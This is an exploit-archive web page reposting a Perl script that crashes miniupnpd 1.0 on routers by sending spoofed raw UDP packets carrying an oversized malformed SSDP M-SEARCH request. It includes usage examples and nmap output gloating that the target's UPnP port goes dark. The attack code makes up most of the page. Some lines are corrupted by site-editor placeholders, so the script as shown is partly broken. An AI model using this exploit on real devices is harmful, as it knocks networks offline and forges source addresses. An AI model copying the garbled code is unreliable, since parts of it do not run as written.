首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MiniUPNPd 1.0 Remote Denial Of Service
来源:http://www.ethical-hacker.org/ 作者:Donev 发布时间:2015-07-10  
#!/usr/bin/perl
#
#  miniupnpd/1.0 remote denial of service exploit
#
#  Copyright 2015 (c) Todor Donev 
#  todor.donev@gmail.com
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  The SSDP protocol can discover Plug & Play devices, 
#  with uPnP (Universal Plug and Play). SSDP is HTTP 
#  like protocol and work with NOTIFY and M-SEARCH 
#  methods.  
#
#  See also: 
#  CVE-2013-0229 
#  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229  
#  CVE-2013-0230
#  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230
#  
#  Tested on
#  Device Name :            IMW-C920W
#  Device Manufacturer :    INFOMARK (http://infomark.co.kr)
#  
#  These devices are commonly used by Max Telecom, Bulgaria
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#   
#  Use at your own risk!
#
#  See also:
#  SSDP Reflection DDoS Attacks 
#  http://tinyurl.com/mqwj6xt
#
#######################################
#
# # perl miniupnpd.pl
# 
# [  miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [  Usage:					    
# [ ./miniupnpd.pl <victim address> <spoofed address>
# [  Example:
# [ perl miniupnpd.pl 192.168.1.1 133.73.13.37
# [  Example:
# [ perl miniupnpd.pl 192.168.1.1
# [ =============================================== ]
# [ 2015  <todor.donev@gmail.com> Todor Donev  2015 ]
#
# # nmap -sU 192.168.1.1 -p1900 --script=upnp-info
#
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00078s latency).
# PORT     STATE SERVICE
# 1900/udp open  upnp
# | upnp-info:
# | 192.168.1.1
# |     Server: 1.0 UPnP/1.0 miniupnpd/1.0
# |     Location: http://192.168.1.1:5000/rootDesc.xml
# |       Webserver: 1.0 UPnP/1.0 miniupnpd/1.0
# |       Name: INFOMARK Router
# |       Manufacturer: INFOMARK
# |       Model Descr: INFOMARK Router
# |       Model Name: INFOMARK Router
# |       Model Version: 1
# |       Name: WANDevice
# |       Manufacturer: MiniUPnP
# |       Model Descr: WAN Device
# |       Model Name: WAN Device
# |       Model Version: 20070228
# |       Name: WANConnectionDevice
# |       Manufacturer: MiniUPnP
# |       Model Descr: MiniUPnP daemon
# |       Model Name: MiniUPnPd
# |_      Model Version: 20070228
# MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
#  
# Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#
# # perl miniupnpd.pl 192.168.1.1
#
# [  miniupnpd/1.0 remote denial of service exploit ]
# [ =============================================== ]
# [ Target: 192.168.1.1
# [ Send malformed SSDP packet..
#
# # nmap -sU 192.168.1.1 -p1900
#  
# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
# Nmap scan report for 192.168.1.1
# Host is up (0.00085s latency).
# PORT     STATE  SERVICE
# 1900/udp closed upnp                                    // GOOD NIGHT, SWEET PRINCE.... :D
# MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
#  
# Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
#
#
# Special thanks to HD Moore ..
#

use Socket;

if ( ___FCKpd___0lt; != 0 ) {
   print "Sorry, must be run as root!\n";
   print "This script use RAW Socket.\n"; 
   exit;
}

my $ip_src = (gethostbyname($ARGV[1]))[4];
my $ip_dst = (gethostbyname($ARGV[0]))[4];

print "\n[  miniupnpd/1.0 remote denial of service exploit ]\n";
print "[ =============================================== ]\n";
select(undef, undef, undef, 0.40);

if (!defined $ip_dst) {
    print "[  Usage:\n[ ./___FCKpd___0 <victim address> <spoofed address>\n";
    select(undef, undef, undef, 0.55);
    print "[  Example:\n[ perl ___FCKpd___0 192.168.1.1 133.73.13.37\n";
    print "[  Example:\n[ perl ___FCKpd___0 192.168.1.1\n";
    print "[ =============================================== ]\n";
    print "[ 2015  <todor.donev\@gmail.com> Todor Donev  2015 ]\n\n";
    exit;
}
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();

    # Main program
sub main {
    my $packet;
    
    $packet = iphdr();
    $packet .= udphdr();
    $packet .= payload();
    # b000000m...
    send_packet($packet);
}

    # IP header (Layer 3)
sub iphdr {
    my $ip_ver         	= 4;                 			# IP Version 4            (4 bits)
    my $iphdr_len      	= 5;                    		# IP Header Length        (4 bits)
    my $ip_tos         	= 0;                    		# Differentiated Services (8 bits)
    my $ip_total_len   	= $iphdr_len + 20;      		# IP Header Length + Data (16 bits)
    my $ip_frag_id     	= 0;                    		# Identification Field    (16 bits)
    my $ip_frag_flag   	= 000;                			# IP Frag Flags (R DF MF) (3 bits)
    my $ip_frag_offset 	= 0000000000000;      			# IP Fragment Offset      (13 bits)
    my $ip_ttl         	= 255;                  		# IP TTL                  (8 bits)
    my $ip_proto       	= 17;                   		# IP Protocol             (8 bits)
    my $ip_checksum    	= 0;                    		# IP Checksum             (16 bits)
    my $ip_src=gethostbyname(&randip) if !$ip_src; 		# IP Source 		  (32 bits)
    # IP Packet construction
	my $iphdr	= pack(
				'H2 H2 n n B16 h2 c n a4 a4',
				$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
				$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
				$ip_ttl, $ip_proto, $ip_checksum,
				$ip_src, $ip_dst
			);

        return $iphdr;
}

    # UDP header (Layer 4)
sub udphdr {
    my $udp_src_port	= 31337;                     # UDP Sort Port           (16 bits) (0-65535)
    my $udp_dst_port	= 1900;	                     # UDP Dest Port           (16 btis) (0-65535)
    my $udp_len		= 8 + length(payload());     # UDP Length              (16 bits) (0-65535)
    my $udp_checksum 	= 0;                         # UDP Checksum            (16 bits) (XOR of header)

    # UDP Packet
    	my $udphdr      = pack(
				'n n n n',
				$udp_src_port, $udp_dst_port,
				$udp_len, $udp_checksum
				);
        return $udphdr;
}

    # Create SSDP Bomb
sub payload {
     my $data;
     my $head;
     $data = "M-SEARCH * HTTP\/1.1\\r\\n";
     for (0..1260) { $data .= chr( int(rand(25) + 65) ); }
     my $payload = pack('a' . length($data), $data);
return $payload;
}

    # Generate random source ip address
sub randip () {
srand(time() ^ ($ + ($ << 15)));
     my $ipdata;
        $ipdata 	= join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";
     my $ipsrc 		= pack('A' . length($ipdata), rand($ipdata));
return $ipdata;
}

    # Send the malformed packet
sub send_packet {
    print "[ Target: $ARGV[0]\n";
    select(undef, undef, undef, 0.30);
    print "[ Send malformed SSDP packet..\n\n";
    send(RAW, 
___FCKpd___0
[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!; }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ipTIME DHCP Remote Command Exe
·Adobe Flash Player ByteArray U
·WordPress S3Bubble Cloud Video
·GWC CMS 1.0 SQL Injection
·Adobe Flash Player Nellymoser
·Symantec EP 12.1.4013 Denial O
·ipTIME Remote Code Execution
·NTP MON_GETLIST Query Amplific
·Blueberry Express 5.9.x SEH Bu
·File Roller 3.4.1 Denial Of Se
·Endian Firewall < 3.0.0 - OS C
·UPNPD M-SEARCH ssdp:discover R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved